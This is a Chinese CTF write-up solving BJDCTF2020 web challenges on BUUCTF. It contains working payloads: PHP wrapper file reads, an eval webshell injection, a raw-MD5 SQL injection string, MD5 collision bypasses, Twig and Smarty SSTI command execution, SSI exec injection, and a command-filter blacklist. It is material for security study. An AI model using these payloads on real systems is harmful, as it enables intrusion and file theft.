BJDCTF2020
未完待续
ZJCTF,就这?
看到这题名字还是很不爽的,毕竟我也是个浙江人,不过zjctf,有一说一确实。
BUU上和源题好像有点差别。
进题放出源码:
1 |
|
file_get_contents($text,’r’)===”I have a dream”),
读取$text文件内容为I have a dream,想到data://伪协议。
看到官方wp还可以远程读取,对不起我是弟弟。
?text=data://text/plain,I%20have%20a%20dream
绕过第一个。
第二个让我们读取next.php ,可以利用filter。?text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php
next.php
![解码出来的图片](1jpg %}
出题人的指引下,看了大佬的一篇文章。
next.php?\S*=${phpinfo()}
可以用,poc直接打。
next.php?\S*=${eval($_POST[cmd])}
连上木马后找到flag
easy_md5
我注入真菜
F12 看到有个
hint: select * from 'admin' where password=md5($pass,true)
得到sql语句.
Leet More 2010 Jailbreak writeup
总结: ffifdyop
这个字符串其哈希值:276f722736c95d99e921722cf9ed621c
字符串: ‘or’6
select * from admin where password=’’or’6
相当于select * from admin where password=’’or 1 实现注入.
然后跳转到新页面
审查页面元素:
1 | $a = $GET['a']; |
赵总又来找女朋友了!
get传A和b都是0e开头就行
payload:?a=s155964671a&b=2120624
跳转到第三个页面.
1 |
|
要求我们post三个,但是他和上面不同,上面那个是两个等号,下面是三个等号,全等.可以考虑MD5生日攻击,还有MD5不支持数组,如果你param1和param2是数组传入,则MD5等号两边都是false也成立.
1 | param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2¶m2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 |
或者直接数组传入就行param1[]=1,param2[]=2
postman的话,我这边要改成raw格式才能撞进去,我去!!注意格式问题.
中出一个安洵杯 easy_web
被晓黑老哥安利了下easy_web,题型差不多正好做一下。
查看元素,发现题面就img,发现下面有一行md5 is funny ~
,然后就下意识得看了下url:/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
猜测img后面跟的是文件名,cmd应该是后期要执行的命令,然后我去试了下hex,解不开,然后base64也没解开,然后有点困就去睡觉了。。。。
早上醒过来,越想越不应该,不可能解不开,然后果然忘记补等号了原先是27位,不能能被整除,奶奶的。两层base64接开后,再用hex,得到555.png
1 | TXpVek5UTTFNbVUzTURabE5qYz0->MzUzNTM1MmU3MDZlNjc=->3535352e706e67->555.png |
http://16e5095c-d64f-49f0-a553-ef6564d69eea.node3.buuoj.cn/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
然后就会得到一传base64加密得index.php
data:image/gif;base64,PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH4gRV9OT1RJQ0UpOwpoZWFkZXIoJ2NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwokY21kID0gJF9HRVRbJ2NtZCddOwppZiAoIWlzc2V0KCRfR0VUWydpbWcnXSkgfHwgIWlzc2V0KCRfR0VUWydjbWQnXSkpIAogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2ltZz1UWHBWZWs1VVRURk5iVlV6VFVSYWJFNXFZejAmY21kPScpOwokZmlsZSA9IGhleDJiaW4oYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSkpKTsKCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwgIiIsICRmaWxlKTsKaWYgKHByZWdfbWF0Y2goIi9mbGFnL2kiLCAkZmlsZSkpIHsKICAgIGVjaG8gJzxpbWcgc3JjID0iLi9jdGYzLmpwZWciPic7CiAgICBkaWUoInhpeGnvvZ4gbm8gZmxhZyIpOwp9IGVsc2UgewogICAgJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsKICAgIGVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIiAuICR0eHQgLiAiJz48L2ltZz4iOwogICAgZWNobyAiPGJyPiI7Cn0KZWNobyAkY21kOwplY2hvICI8YnI+IjsKaWYgKHByZWdfbWF0Y2goIi9sc3xiYXNofHRhY3xubHxtb3JlfGxlc3N8aGVhZHx3Z2V0fHRhaWx8dml8Y2F0fG9kfGdyZXB8c2VkfGJ6bW9yZXxiemxlc3N8cGNyZXxwYXN0ZXxkaWZmfGZpbGV8ZWNob3xzaHxcJ3xcInxcYHw7fCx8XCp8XD98XFx8XFxcXHxcbnxcdHxccnxceEEwfFx7fFx9fFwofFwpfFwmW15cZF18QHxcfHxcXCR8XFt8XF18e3x9fFwofFwpfC18PHw+L2kiLCAkY21kKSkgewogICAgZWNobygiZm9yYmlkIH4iKTsKICAgIGVjaG8gIjxicj4iOwp9IGVsc2UgewogICAgaWYgKChzdHJpbmcpJF9QT1NUWydhJ10gIT09IChzdHJpbmcpJF9QT1NUWydiJ10gJiYgbWQ1KCRfUE9TVFsnYSddKSA9PT0gbWQ1KCRfUE9TVFsnYiddKSkgewogICAgICAgIGVjaG8gYCRjbWRgOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICgibWQ1IGlzIGZ1bm55IH4iKTsKICAgIH0KfQoKPz4KPGh0bWw+CjxzdHlsZT4KICBib2R5ewogICBiYWNrZ3JvdW5kOnVybCguL2JqLnBuZykgIG5vLXJlcGVhdCBjZW50ZXIgY2VudGVyOwogICBiYWNrZ3JvdW5kLXNpemU6Y292ZXI7CiAgIGJhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDsKICAgYmFja2dyb3VuZC1jb2xvcjojQ0NDQ0NDOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8L2JvZHk+CjwvaHRtbD4=
base64解一下
1 |
|
前半部分就是刚才的东西,后半部分是讲cmd得,果然是命令执行。a和b套刚刚的就行了,正则我看的头疼。。试了个dir和dir%20/发现flag在目录下,然后试了个ca\t发现可以用。
![dir](4jpg %}
![ca\t](5jpg %}
Mark loves cat
打开页面发现有用的信息都没得,然后fuzz一下用dirbdirb http://31d76b5b-06b8-4911-9a08-b2d9d71eb368.node3.buuoj.cn/
![dirb](6jpg %}
发现.git源码泄露。python GitHack.py http://31d76b5b-06b8-4911-9a08-b2d9d71eb368.node3.buuoj.cn/.git
![.git](7jpg %}
得到flag.php和index.php.
flag.php
1 |
|
index.php
1 | <?php |
可以看到里面用到可变变量,第二个条件最简单,只要保证post的flag和get的flag变量没被用过就行。输出的$yds,所以我们只要get请求yds=flag
就行了,就会把$x=yds,$y=flag
==>$yds=$flag
,然后$yds就会是flag。
![brup](8jpg %}
The_Mystery_of_ip
![审查元素](9jpg %}
点进去发现三个,index.php、hint.php、flag.php。一开始没发现hint.php的提示,我这眼神,不过我看到flag.php的ip,然后试了下X-Forwarded-For、client-ip。发现ip可控,想到之前打的一题XFF注入的题,然后发现没有。看Y1ng表哥博客发现ssti注入,我傻了,第一次遇到这样也可以ssti注入的。学到了!!!
![brup](10jpg %}
pyload:
1 | X-Forwarded-For: 127.0.0.1{{system('cat /flag')}} |
Cookie is so stable
页面元素和上一题差不多,flag.php变成输入的,想到上一题是ssti注入,突然感觉这题可能也是注入题,然后输入了49
,果然!
![网上看到的](12jpg %}
直接拿这篇的payloadl来打:
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} |
发现可以直接打。
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}} |
![brup](13jpg %}
服务器会将我们输入的注入编码后变成cookie,我们直接把注入放在cookie里就行了!
EasySearch
打了半天没思路,看了别的表哥的wp,发现原先题目有提示vim泄露的,Buu复现好像没提示,index.php.swp拿到源码。
1 |
|
可以看到要求username不为空,并且我们输入的密码MD5,前六位要与6d0bc1相等。
1 | import hashlib |
跑出 三个数字2020666、2305004、9162671。随便用一个!穿后返回了个地址
![brup](14jpg %}
访问一下,发现刚刚username被用了
![shtml](15jpg %}
省赛的时候考过ssi解析漏洞,上ssi解析漏洞:<!--#exec cmd="dir /" -->
访问了根目录和当前目录发现没有flag文件,然后访问了下上级目录
发现flag文件,直接打,得到flag。
<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->